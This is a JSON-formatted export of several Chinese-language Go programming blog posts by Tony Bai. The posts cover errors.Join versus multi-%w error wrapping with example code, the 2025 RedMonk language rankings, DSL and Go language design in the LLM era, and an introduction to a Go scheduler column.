} func main() { errA := errors.New(\u0026#34;错误A\u0026#34;) errB := \u0026amp;specialError{\u0026#34;特殊错误B\u0026#34;} errC := errors.New(\u0026#34;错误C\u0026#34;) // 使用 errors.Join joined := errors.Join(errA, errB, errC) fmt.Println(\u0026#34;使用 errors.Join 解包:\u0026#34;) if unwrap, ok := joined.(interface{ Unwrap() []error }); ok { originalErrors := unwrap.Unwrap() for i, e := range originalErrors { fmt.Printf(\u0026#34; 原始错误 %d: %v (类型: %T)\\n\u0026#34;, i+1, e, e) // 可以用 errors.As 检查特定类型 var se *specialError if errors.As(e, \u0026amp;se) { fmt.Printf(\u0026#34; 检测到 specialError: %s\\n\u0026#34;, se.msg) } } } fmt.Println() // 使用 fmt.Errorf 包装多个错误 wrapped := fmt.Errorf(\u0026#34;外层错误: (第一个: %w), (第二个: %w), (第三个: %w)\u0026#34;, errA, errB, errC) // 实际的错误链结构取决于 %w 的顺序和格式化字符串 // 例如，这里更像是 errA 被 wrapped 包裹，errB 被包裹 errA 的错误包裹，以此类推（具体取决于实现） // 或者，它们可能被视为并列地被一个包含描述文字的错误所包裹。 // 为了清晰，我们假设一种简单的线性包裹（虽然内部实现可能更复杂，但 errors.Unwrap 行为类似） fmt.Println(\u0026#34;使用 fmt.Errorf 解包 (逐层):\u0026#34;) currentErr := wrapped i := 1 for currentErr != nil { fmt.Printf(\u0026#34; 解包层级 %d: %v (类型: %T)\\n\u0026#34;, i, currentErr, currentErr) var se *specialError if errors.As(currentErr, \u0026amp;se) { // 检查当前错误或其链中的错误 fmt.Printf(\u0026#34; 在链中检测到 specialError: %s\\n\u0026#34;, se.msg) } // errors.Is 也可以用于检查链中的特定错误实例 if errors.Is(currentErr, errA) { fmt.Println(\u0026#34; 在链中检测到 错误A\u0026#34;) } unwrapped := errors.Unwrap(currentErr) if unwrapped == currentErr || i \u0026gt; 5 { // 防止无限循环或过多层级 break } currentErr = unwrapped i++ } } 运行该示例，我们将得到预期的输出：\n使用 errors.Join 解包: 原始错误 1: 错误A (类型: *errors.errorString) 原始错误 2: 特殊错误B (类型: *main.specialError) 检测到 specialError: 特殊错误B 原始错误 3: 错误C (类型: *errors.errorString) 使用 fmt.Errorf 解包 (逐层): 解包层级 1: 外层错误: (第一个: 错误A), (第二个: 特殊错误B), (第三个: 错误C) (类型: *fmt.wrapErrors) 在链中检测到 specialError: 特殊错误B 在链中检测到 错误A 结合上述两个示例，我们可以看到：\n如果你需要将多个独立的错误视为一个集合，并希望轻松地忽略其中的 nil 值，同时方便地一次性访问所有非 nil 的原始错误，那么 errors.Join() 是更直接和语义化的选择。 如果你更倾向于传统的错误链结构，通过错误包装来添加上下文信息，并且可以接受逐层解包，或者你的主要目的是在错误信息中包含多个原始错误的文本表示，那么 fmt.Errorf 配合多个 %w 也是可行的。 Go 1.20 同时提供这两种能力，让开发者在处理多个错误时有了更灵活的选择。理解它们的细微差别，有助于我们根据具体场景做出最合适的决策。\n小结 Go 1.20 引入的 errors.Join() 无疑为 Go 语言的错误处理工具箱增添了一件强大的新工具。它在特定场景下——如输入验证、并行任务错误收集、defer 中的多错误处理——能够显著提升代码的表达力和用户体验，使得我们能够向调用者或用户提供更全面、更友好的错误信息。\n然而，正如社区的讨论所揭示的，它并非“银弹”，更不应被滥用以取代“快速失败”这一久经考验的错误处理黄金法则。理解 errors.Join() 的适用边界，审慎评估其在具体场景下的收益与成本（如可能带来的信息过载或对 API 错误契约的破坏），是每一位 Gopher 都需要具备的判断力。\n最终，优雅的错误处理，在于清晰、明确、以及在“最小惊奇”与“详尽信息”之间找到那个恰到好处的平衡点。errors.Join() 为我们实现这种平衡提供了一种新的可能性。\n社区讨论帖：https://www.reddit.com/r/golang/comments/1ldyywj/use_errorsjoin/\n聊一聊，也帮个忙：\n在你的 Go 项目中，你遇到过哪些适合使用 errors.Join() 的场景？或者，你认为哪些场景下应该坚决避免使用它？ 除了文中提到的，你对 Go 语言的错误处理机制还有哪些独到的见解或最佳实践？ 你认为“快速失败”和“错误聚合”这两种策略，在设计 API 时应该如何权衡？ 欢迎在评论区留下你的经验、思考和问题。如果你觉得这篇文章对你有帮助，也请转发给你身边的 Gopher 朋友们，让更多人参与到关于 Go 错误处理的深度讨论中来！\n精进有道，更上层楼\n极客时间《Go语言进阶课》上架刚好一个月，受到了各位读者的热烈欢迎和反馈。在这里感谢大家的支持。目前我们已经完成了课程模块一『语法强化篇』的 13 讲，为你系统突破 Go 语言的语法认知瓶颈，打下坚实基础。\n现在，我们已经进入模块二『设计先行篇』，这不仅包括 API 设计，更涵盖了项目布局、包设计、并发设计、接口设计、错误处理设计等构建高质量 Go 代码的关键要素。\n这门进阶课程，是我多年 Go 实战经验和深度思考的结晶，旨在帮助你突破瓶颈，从“会用 Go”迈向“精通 Go”，真正驾驭 Go 语言，编写出更优雅、更高效、更可靠的生产级代码！\n扫描下方二维码，立即开启你的 Go 语言进阶之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/20/about-errors-join/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/about-errors-join-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/06/20/about-errors-join\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/06/20/about-errors-join\"\u003ehttps://tonybai.com/2025/06/20/about-errors-join\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e错误处理，无疑是软件开发中永恒的核心议题之一。Go 语言以其独特的、显式的错误处理机制（即 error 作为普通值返回）而著称，这种设计强调了对错误的关注和及时处理。自 \u003ca href=\"https://tonybai.com/2023/05/14/a-guide-of-using-go-error-chain/\"\u003eGo 1.13 引入错误包装 (wrapping) 机制\u003c/a\u003e以来，Go 的错误处理能力得到了显著增强。而在\u003ca href=\"https://tonybai.com/2023/02/08/some-changes-in-go-1-20\"\u003eGo 1.20 版本\u003c/a\u003e中，标准库 errors 包更是带来了一个备受关注的新成员：errors.Join() 函数。\u003c/p\u003e","title":"Go errors.Join：是“天赐之物”还是“潘多拉魔盒”？——深入错误聚合的适用场景与最佳实践"},{"content":"RedMonk最新排行出炉：Go语言稳居Top 12，AI 冲击下 Stack Overflow 权重生变？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nRedMonk最新排行出炉：Go语言稳居Top 12，AI 冲击下 Stack Overflow 权重生变？ 六月 20, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/20/redmonk-index-2025-jan\n大家好，我是Tony Bai。\n编程语言的江湖，总是风起云涌，新旧更迭。而 RedMonk 编程语言排行榜，以其独特的视角（结合 GitHub 的代码活跃度和 Stack Overflow 的讨论热度），长期以来都是我们观察这片江湖风向的重要参考。\n就在最近，RedMonk发布了其2025年1月的编程语言排行榜。榜单本身波澜不惊，Top 20 的名单几乎与上一期如出一辙，这似乎预示着编程语言领域正进入一个相对“固化”的时期。然而，在这份看似平静的榜单背后，却潜藏着一个巨大的变量，一个足以让 RedMonk 自身都开始反思其排行方法论的“房间里的大象”——那就是 AI 的崛起，及其对 Stack Overflow 数据源的颠覆性冲击。\n今天，我们就来解读这份最新的 RedMonk 排行榜，看看 Go 语言在其中表现如何，更重要的是，探讨在 AI 时代，我们该如何看待这类排行榜，以及 Go 语言的未来又将走向何方。\nRedMonk 排行榜：方法论回顾与本次看点 在解读具体排名之前，我们有必要简单回顾一下 RedMonk 排行榜的方法论。它并非统计当前“谁用得多”，而是试图通过两个维度的数据来预测语言的未来采用趋势：\nGitHub 数据： 主要通过 GitHub Archive 拉取数据，分析代码提交中使用的语言，代表了语言在实际项目开发中的活跃度和受开发者青睐的程度。 Stack Overflow 数据： 通过其 Data Explorer 查询，分析特定语言标签下的问题和讨论数量，代表了语言在开发者社区中的关注度和开发者在学习、使用过程中遇到的问题量（间接反映了活跃度）。 RedMonk 强调，榜单的“分层 (Tiering)”比具体的数字名次更重要，因为精确排名本身就存在误差。同时，对于排名靠后的语言，由于数据量较小，其排名的波动性和不确定性会更大。\n本次 2025 年 1 月的排行，最大的看点莫过于 RedMonk 博客作者 Stephen O’Grady 对 Stack Overflow (以下有时简称SO)数据有效性的公开疑虑。他明确指出，随着 ChatGPT、GitHub Copilot 等 AI 工具的普及，开发者遇到问题时，直接向 AI 提问的比例越来越高，而去 Stack Overflow 搜索或提问的需求显著下降。这导致 Stack Overflow 整体流量和特定语言标签下的讨论量都在萎缩，从而可能扭曲了基于 StackOverflow 数据的排名。RedMonk 甚至在考虑未来是否要调整 SO 数据的权重，甚至完全放弃使用它。\n这无疑为我们解读本次榜单，尤其是观察那些 SO 数据占比较重的语言，提供了一个全新的、也是更具挑战性的视角。\nGo语言：稳坐 Top 12，GitHub 根基深厚 在这样的背景下，我们来看看Go语言的表现：\n排名： Go 语言在此次排行中位列 第 12 位，与统计语言 R 并列。 稳定性： Top 20 的榜单几乎“纹丝不动”，Go 的排名也保持了稳定。回顾历史，Go 从 2015 年的第 17 位，稳步上升，并在近几年持续超越了曾经在 JVM 生态中势头强劲的 Scala 和 Kotlin。 解读 Go 的“稳”： 在 Stack Overflow 数据可能“失真”、整体排行趋于“凝固”的大环境下，Go 语言能够牢牢占据 Top 12 的位置，这本身就充分说明了其在 GitHub 上的代码活跃度和开发者基础的极端稳固。这与 Go 在云原生、后端服务、基础设施等领域的深厚积累和广泛应用密不可分。 关键语言动态：Go 在比较中更显价值 RedMonk 的博文还特别点出了一些值得关注的语言动态，通过与这些语言的对比，我们可以更清晰地看到 Go 的独特价值和发展趋势。\nTypeScript (第 6) 的“平台期”与 Go 的“幕后英雄”角色 尽管 TypeScript 在 JavaScript 生态中不可或缺，其排名也高居第 6，但博文指出它似乎进入了一个“增长平台期”，难以再向上突破。\nRedMonk 提到了 TypeScript 在可扩展性 (scalability) 方面可能遇到的挑战，并直接点名了微软决定使用 Go 语言重写 TypeScript 的编译器 (tsc) 和相关工具链这一标志性事件。\n当然，这无疑是对 Go 语言在构建大规模、高性能开发工具和基础设施方面能力的最好背书。当连 TypeScript 这样的语言工具自身都遇到扩展性瓶颈时，他们选择了 Go 作为解决方案。这充分证明了 Go 在工程效率、编译速度、并发处理和静态二进制部署等方面的核心优势，使其成为构建下一代开发工具（编译器、Linter、语言服务器等）的优选语言。Go，正在成为越来越多关键技术的“幕后英雄”。\nKotlin (并列 14) / Scala (并列 14) 的“增长天花板” 这两位 JVM 生态的“优等生”排名稳定，但向上突破的动力似乎不足。Go 早已在排名上超越它们。\n随着 Go 在微软等传统“非 Go”大厂中找到新的应用场景（如上述 TypeScript 工具链），以及 Rust 在对安全和性能有极致要求的服务端负载中逐渐蚕食地盘，Kotlin 和 Scala 的增长路径面临着不小的挑战。\nGo 凭借其简洁的语法、高效的并发模型、出色的网络性能、以及与云原生生态的无缝集成，在现代后端服务开发领域，对传统的 JVM 语言形成了持续且强劲的竞争压力。对于追求快速迭代、高并发、低资源占用的新项目，Go 往往是更具吸引力的选择。\n新兴语言 (Ballerina, Bicep, Zig 等) 的“SO 困境” 许多被 RedMonk 关注的新兴语言，在本次排名中大多出现了下滑，并且呈现出 GitHub 排名远好于 Stack Overflow 排名的特点。\n这很可能就是前文提到的 AI 对 Stack Overflow 数据冲击的直接体现。新兴语言本身在 SO 上的讨论基数就小，当整体 SO 流量下降时，它们受到的负面影响会更加不成比例。\n这再次提醒我们，在评估语言趋势时，需要警惕单一数据源（尤其是易受外部因素干扰的数据源）的局限性。Go 之所以能在榜单中保持稳定，更多是依赖其在 GitHub 上庞大且活跃的真实代码贡献和项目应用，这比社区讨论热度更能反映语言的实际生命力。\nAI 时代，编程语言排行榜的挑战与 Go 的新机遇 AI 代码助手（如 ChatGPT, GitHub Copilot）的普及，正在深刻改变开发者的工作习惯。遇到问题，许多人可能首先想到的是“问 AI”，而不是去 Stack Overflow 搜索或提问。这对依赖 SO 数据的 RedMonk 排行榜方法论构成了前所未有的挑战。Stephen O’Grady 的坦诚，也预示着未来编程语言趋势的观察方法可能需要革新。\n在这样的背景下，Go 语言的机遇何在？\nGitHub 数据权重可能提升： 如果 SO 数据权重下降或被弃用，那么更能反映语言实际使用和生态发展的 GitHub 数据将变得更加重要。Go 在这方面一直表现强劲，拥有大量高质量的开源项目和活跃的贡献者。 AI 基础设施的构建者： 正如我在之前的文章中多次提到的，Go 语言凭借其高性能、高并发、易部署的特性，非常适合构建支撑 AI 大模型训练、推理服务的底层基础设施（如分布式计算框架、模型服务平台、向量数据库、数据管道等）。许多流行的 AI 开源项目（如 Ollama）也选择使用 Go。 AI 应用的工程化落地： AI 模型最终需要被集成到实际的应用和服务中才能产生价值。Go 的简洁性、强大的网络库、以及出色的工程化特性（如编译速度、静态部署），使其成为将 AI 模型快速、可靠地工程化、产品化的优秀选择。 “工具的工具”： Go 在构建开发工具方面的优势，在 AI 时代将更加凸显。无论是构建 AI 代码分析工具、模型部署工具，还是 AI 辅助开发平台的后端，Go 都能胜任。 对 LLM 的“友好性”探索： 虽然目前 Go 在 LLM 训练数据中的占比可能不如 Python，但 Go 语言相对简单的语法、明确的类型系统、以及强大的标准库，是否可能在未来使其更容易被 LLM 理解、分析和生成高质量代码？这是一个值得探索的方向。 小结：喧嚣之中，坚守价值，拥抱未来 RedMonk 的最新编程语言排行榜，在 AI 席卷技术圈的当下，给我们带来了新的思考。Stack Overflow 讨论热度的“失真”，或许只是 AI 改变我们工作和学习方式的一个缩影。\n对于 Go 语言而言，其在榜单中的稳定表现，特别是在 GitHub 维度上的持续强势，证明了其深厚的开发者基础和旺盛的生态活力。像微软选择用 Go 重写 TypeScript 工具链这样的行业案例，更是对其核心竞争力的有力印证。\n面对 AI 带来的不确定性，Go 语言凭借其在构建高性能网络服务、云原生基础设施、以及高效开发工具等领域的明确价值定位，依然展现出强大的韧性和广阔的前景。未来，它不仅将继续作为这些领域的中流砥柱，更有望在 AI 基础设施和工程化领域扮演越来越重要的角色。\n作为 Gopher，我们既要看到排行榜数据的变化，更要理解变化背后的深层逻辑。坚守 Go 语言的核心价值，持续学习和实践，同时对新技术保持开放和探索的心态，这或许才是我们在这个快速变化的时代中，最稳妥的前行之道。\n你对这份 RedMonk 榜单有什么看法？AI 的出现改变了你获取技术信息的习惯吗？欢迎在评论区分享你的观点！\n精进有道，更上层楼\n极客时间《Go语言进阶课》上架刚好一个月，受到了各位读者的热烈欢迎和反馈。在这里感谢大家的支持。目前我们已经完成了课程模块一『语法强化篇』的 13 讲，为你系统突破 Go 语言的语法认知瓶颈，打下坚实基础。\n现在，我们已经进入模块二『设计先行篇』，这不仅包括 API 设计，更涵盖了项目布局、包设计、并发设计、接口设计、错误处理设计等构建高质量 Go 代码的关键要素。\n这门进阶课程，是我多年 Go 实战经验和深度思考的结晶，旨在帮助你突破瓶颈，从“会用 Go”迈向“精通 Go”，真正驾驭 Go 语言，编写出更优雅、\n更高效、更可靠的生产级代码！\n扫描下方二维码，立即开启你的 Go 语言进阶之旅！\n感谢阅读！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/20/redmonk-index-2025-jan/","summary":"\u003cp\u003eRedMonk最新排行出炉：Go语言稳居Top 12，AI 冲击下 Stack Overflow 权重生变？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"RedMonk最新排行出炉：Go语言稳居Top 12，AI 冲击下 Stack Overflow 权重生变？"},{"content":"当一切皆可用Python：Go这样的通用语言与DSL的未来价值何在？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n当一切皆可用Python：Go这样的通用语言与DSL的未来价值何在？ 六月 19, 2025 2 条评论 本文永久链接 – https://tonybai.com/2025/06/19/language-design-in-the-era-of-llm\n大家好，我是Tony Bai。\n大型语言模型 (LLM) 的浪潮正以前所未有的速度和深度席卷软件开发领域。从代码生成、Bug 修复到文档撰写，AI 似乎正成为每一位开发者身边无所不能的“副驾驶”。在这股浪潮中，一个略显“刺耳”但又无法回避的论调开始浮现，正如一篇引人深思的博文《Programming Language Design in the Era of LLMs: A Return to Mediocrity?》中所指出的那样：“一切都更容易用 Python 实现 (Everything is Easier in Python)”——当然，这里指的是在 LLM 的强力辅助下。\n这并非危言耸听。文章中展示的图表（来源于论文 “Knowledge Transfer from High-Resource to Low-Resource Programming Languages for Code LLMs“）清晰地揭示了一个趋势：LLM 在那些训练数据量巨大的“高资源”语言（如 Python, JavaScript, Java, C# 等）上，代码生成和任务解决的效能显著高于像 Go、Rust 这样的“低资源”语言：\n如果 LLM 能够如此轻松地用 Python（或其他高资源语言）根据自然语言需求生成大部分“胶水代码”甚至核心逻辑，那么我们不禁要问：\n精心设计和构建领域特定语言 (DSL) 的价值还剩下多少？当消除冗余、封装领域知识这些 DSL 的核心优势，似乎可以被 LLM+通用语言轻易取代时，DSL 的未来是否会因此停滞？ 对于像 Go 这样以简洁、高效、工程化著称的通用语言，当其在 LLM 训练数据中的“声量”不及 Python 时，它的核心竞争力又将面临怎样的挑战与机遇？ 今天，我们就来聊聊在 LLM 时代，DSL 和像 Go 这样的通用语言，其未来的价值究竟何在。\nDSL 的黄昏？当 LLM 成为“万能代码生成器” 领域特定语言 (DSL) 的核心价值在于**“专为特定领域而生”**。通过精心设计的语法和语义，DSL 能够：\n提升表达力： 让领域专家或开发者能用更接近自然语言或领域术语的方式描述问题。 消除样板代码： 将领域内的通用模式和“常识性规则”编码到语言自身。 降低认知负荷： 开发者可以更专注于问题的“有趣”部分，而非底层实现细节。 减少错误面： 通过语言层面的约束，使得编写出不正确的程序变得更加困难。 文章中那个视频游戏对话的例子就非常典型：从繁琐的 API 调用序列\n# example code for a VN character.draw(\u0026#34;alice\u0026#34;, character.LEFT, 0.1) character.draw(\u0026#34;bob\u0026#34;, character.RIGHT, 0.1) character.say(\u0026#34;alice\u0026#34;, \u0026#34;hello there!\u0026#34;) character.say(\u0026#34;bob\u0026#34;, \u0026#34;hi!\u0026#34;) character.state(\u0026#34;alice\u0026#34;, \u0026#34;sad\u0026#34;) character.say(\u0026#34;alice\u0026#34;, \u0026#34;did you hear the news?\u0026#34;) 到简洁的 DSL 描述\n# example DSL for dialog [ alice @ left in 0.1, bob @right in 0.1 ] alice: hello there! bob: hi! alice[sad]: did you hear the news?... DSL 的优势一目了然。\n然而，LLM 的出现，似乎正在侵蚀 DSL 的这些传统护城河。当开发者可以用自然语言向 Copilot 或 ChatGPT 描述“我想要一个能让 Alice 和 Bob 在屏幕两侧对话的场景”，并且 LLM 能够直接生成 Python 或 JavaScript 代码来实现这个功能时，我们不禁要问：为什么还要费心去学习、设计、构建和推广一个全新的 DSL 呢？\n这里隐含的“机会成本”的问题非常现实：\nDSL 的学习与生态位：使用一个“小众”的 DSL，意味着开发者可能要放弃使用 LLM 在主流语言上生成代码的巨大便利。LLM 在小众 DSL 上的表现（如果未经专门微调）几乎可以预见会非常糟糕。 DSL 的构建成本：设计和实现一个高质量的 DSL 本身就需要巨大的投入。在 LLM 时代，这个投入的“性价比”似乎正在下降。 这引发了一个令人担忧的趋势：DSL 的发展是否会因此停滞不前？语言设计的多样性是否会因此受到冲击，最终导致“人人皆写 Python (在 LLM 辅助下)”的局面？\nGo 语言：在 LLM 时代的“低资源”挑战与独特优势 Go语言虽然在全球拥有数百万开发者，并且在云原生、后端开发等领域占据主导地位，但在 LLM 的训练数据占比上，相较于 Python、JavaScript 等拥有更长历史和更广泛应用场景（尤其是 Web 前端、数据科学等产生大量开源代码的领域）的语言，仍然处于“低资源”状态。\n这意味着，LLM 在直接生成高质量、复杂 Go 代码方面的能力，目前可能还无法与它在 Python 等语言上的表现相媲美。 这对 Go 社区和开发者来说，既是挑战，也是反思和寻求新机遇的契机。\n挑战：\n如果 LLM 生成 Go 代码的效率和质量暂时落后，可能会降低新手或寻求快速原型验证的开发者选择 Go 的意愿。 Go 社区可能需要投入更多精力来构建 LLM 友好的工具、库和高质量的训练数据。 然而，Go 语言的独特优势在 LLM 时代或许会更加凸显：\n简洁性与明确性对 LLM 的“友好”：\nGo 语言语法精炼，关键字少，没有复杂的继承和隐式转换。这种“所见即所得”的特性，可能使得 LLM 更容易理解 Go 代码的结构和语义。 Go 的强类型系统和明确的错误处理机制 (if err != nil)，虽然在手动编码时有时显得冗余，但在 LLM 生成或分析代码时，这些明确的信号可能有助于 LLM 生成更健壮、更易于验证的代码。 强大的标准库与工程化特性：\nGo 丰富的标准库覆盖了网络、并发、编解码等常见场景。LLM 在生成 Go 代码时，可以更多地依赖这些经过充分测试和优化的标准组件，减少对第三方库的复杂依赖。 Go 内置的测试、性能分析、代码格式化等工具，以及其对模块化的良好支持，有助于对 LLM 生成的代码进行有效的质量控制和集成。 并发模型与性能优势的不可替代性：\nGo 的 Goroutine 和 Channel 提供的轻量级并发模型，在构建高并发网络服务和分布式系统方面具有独特优势。这部分逻辑的复杂性和对性能的极致要求，可能难以完全由 LLM 在 Python 等语言中通过简单生成来完美复制。 Go 编译后的静态二进制文件和高效的执行性能，在许多后端和基础设施场景中依然是硬核需求。 Go 作为“基础设施”语言的潜力：\nLLM 本身就需要强大的基础设施来训练和运行。Go 在构建这些大规模、高并发的 AI 基础设施方面，已经扮演了重要角色（如 Ollama 等项目）。 Go 的简洁性和安全性，也使其成为定义和执行 AI Agent 行为、编排复杂 AI 工作流的理想语言。 LLM 时代，语言设计（DSL 与通用语言）的破局之路 面对大型语言模型（LLM）带来的挑战，编程语言的设计（无论是领域特定语言（DSL）还是通用语言如 Go）并非只能被动应对。学术界正在探索一些富有前景的新方向，旨在实现语言设计与 LLM 的协同进化，而非零和博弈。\n首先，有研究提出教会 LLM 理解 DSL 的方法，核心思路是利用 LLM 擅长的语言（如 Python 的受限子集）来表达核心逻辑。由于 LLM 对特定 DSL 的理解和生成能力有限，开发者可以设计工具或方法，将这些 Python 表达式“提升”或自动翻译到目标 DSL 中。这一思路启示未来的 DSL 设计者应考虑为其语言提供一个 LLM 友好的“语义映射层”，例如用 Python 或其他高资源语言来描述其核心概念和操作。\n其次，在 DSL 中弥合“形式化”与“非形式化”的鸿沟也是一个重要方向。开发者在编写复杂系统内核时，往往需要精确控制每一行代码，此时 LLM 的帮助有限。然而，在编写不常用的“一次性”脚本时，LLM 能够根据自然语言描述生成“胶水代码”，使得开发者只需关注核心的“有趣”部分。因此，未来的 DSL 设计可以探索如何无缝集成“非形式化”自然语言描述，作为规范、注释，甚至直接融入代码中。与此同时，是否可以从 DSL 的类型系统或静态分析结果中，自动生成高质量的自然语言规范，反过来帮助 LLM 更好地理解和生成 DSL 代码，值得深入研究。\n最后，面向 LLM 辅助验证的语言设计也成为一种趋势。研究者们不再满足于 LLM 生成“能运行”的代码，而是期望 LLM 能生成带有形式化规约（specifications）的代码，并利用验证语言（如 Dafny、Boogie）来证明这些代码的正确性。这一趋势对 DSL 和通用语言（如 Go）的设计提出了新要求，开发者需要考虑如何更好地支持“规约即代码”和“验证即开发”的模式。例如，Go 语言的强类型和接口设计，为形式化验证提供了一定的基础，未来的改进可以在此基础上进一步发展。\n通过以上几个方向的探索，编程语言设计有望与 LLM 实现更为紧密的协同进化，推动软件开发的进步和创新。\n小结：挑战之下，价值重塑 LLM 的崛起，无疑对整个编程语言生态带来了深刻的冲击和前所未有的挑战。那种“学会一门语言，用好一个框架，就能高枕无忧”的时代可能正在远去。\n“一切皆可用 Python (在 LLM 辅助下)”的论调，虽然略显夸张，但也点出了一个事实：对于那些仅仅是为了减少样板代码、提供简单抽象的 DSL，或者在表达力和生态丰富度上不及 Python 的通用语言，其生存空间确实受到了挤压。\n然而，这并不意味着语言设计本身会走向“平庸化”或消亡。相反，LLM 可能会迫使我们重新思考编程语言的核心价值：\n对于 DSL，未来可能需要更高的“门槛”——它们必须提供真正深刻的领域洞察和远超通用语言的表达效率与安全性，才能证明其存在的必要性。同时，与 LLM 的协同将是关键。 对于像 Go 这样的通用语言，其价值将更多地体现在那些难以被 LLM 轻易复制的领域：极致的工程效率、经过实战检验的并发模型、强大的底层控制能力、以及构建大规模、高可靠系统的综合实力。Go 需要继续打磨其核心优势，并积极拥抱 AI，成为 AI 时代不可或缺的基石。 最终，技术的浪潮会淘汰掉不适应变化的，也会催生出新的、更强大的生命体。对于我们开发者而言，保持学习的热情，理解不同工具的本质和边界，拥抱变化，或许才是应对这个“AI 定义一切”时代的不二法门。\n你认为 LLM 会如何改变你使用的编程语言？Go 和 DSL 的未来将走向何方？欢迎在评论区留下你的真知灼见！\n精进有道，更上层楼\n极客时间《Go语言进阶课》上架刚好一个月，受到了各位读者的热烈欢迎和反馈。在这里感谢大家的支持。目前我们已经完成了课程模块一『语法强化篇』的 13 讲，为你系统突破 Go 语言的语法认知瓶颈，打下坚实基础。\n现在，我们即将进入模块二『设计先行篇』，这不仅包括 API 设计，更涵盖了项目布局、包设计、并发设计、接口设计、错误处理设计等构建高质量 Go 代码的关键要素。\n这门进阶课程，是我多年 Go 实战经验和深度思考的结晶，旨在帮助你突破瓶颈，从“会用 Go”迈向“精通 Go”，真正驾驭 Go 语言，编写出更优雅、\n更高效、更可靠的生产级代码！\n扫描下方二维码，立即开启你的 Go 语言进阶之旅！\n感谢阅读！\n如果这篇文章让你对AI时代的DSL和通用语言设计和未来有了新的认识，请帮忙转发，让更多朋友一起学习和进步！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/19/language-design-in-the-era-of-llm/","summary":"\u003cp\u003e当一切皆可用Python：Go这样的通用语言与DSL的未来价值何在？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"当一切皆可用Python：Go这样的通用语言与DSL的未来价值何在？"},{"content":"解构Go并发之核，与Dmitry Vyukov共探Go调度艺术 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n解构Go并发之核，与Dmitry Vyukov共探Go调度艺术 六月 18, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/18/inside-goroutine-scheduler-column\n你好，我是Tony Bai。\n欢迎踏上一次深入Go并发核心的探索之旅——【Go并发调度艺术】微专栏。我们每天都在使用go关键字轻松驾驭并发，享受着Go语言带来的编程乐趣。但在这简洁的背后，是一套复杂而精密的调度系统在默默支撑。它如同一位技艺精湛的指挥家，巧妙地调度着成千上万的goroutine，在用户态的轻盈与操作系统的力量之间取得了绝妙的平衡。\n许多Go开发者为了面试，会去“背诵”GMP模型的概念，记忆那些零散的知识点。但这种学习方式往往浮于表面，难以形成深刻的理解，更不用说将其内化为指导我们编写高效并发程序的工程直觉。\n这一次，我们换个视角，不再是被动接受结论，而是主动参与“设计”。\n本微专栏的核心特色，是跟随Go调度器的核心设计者之一Dmitry Vyukov的思考路径（基于其经典的Go调度器设计资料）。我们将设身处地，从他最初面临的设计目标和挑战开始，一步步看他是如何分析问题、尝试方案、做出权衡，并最终构建出我们今天所熟知的、强大的Go调度器的。\n在这个微专栏中，你将“亲历”：\n并发的初心与抉择： Go为什么需要自己的调度器？面对轻量化、大规模并发的严苛目标，为何OS线程模型捉襟见肘？早期M:N模型的探索与瓶颈。 可伸缩的引擎构建： 全局锁的魔咒如何破解？P（Processor）是如何诞生的？GMP三者如何协作，通过分布式调度和工作窃取实现卓越的伸缩性与效率？ 调度的艺术与匠心： 在高效的基础上，调度器如何追求公平性，避免goroutine饿死？“无限”栈是如何从理念一步步演进为工程现实的？优雅的抢占机制又是如何设计的，以保障系统的响应性与GC的顺畅？ 我们的目标是，通过这种“问题驱动”和“设计者视角”的学习方式：\n让你真正理解Go调度器每个设计决策背后的“为什么”。 帮助你将这些原理内化为常识，而非生硬的记忆。 三篇深度探索，为你揭示：\n第 1 篇：轻量与并发的初心：Goroutine的设计目标与早期M:N模型的探索 第 2 篇：可伸缩的并发引擎：从分布式调度到M:P:N模型的演进 第 3 篇：调度的艺术与匠心：公平性、动态栈与优雅抢占的实现 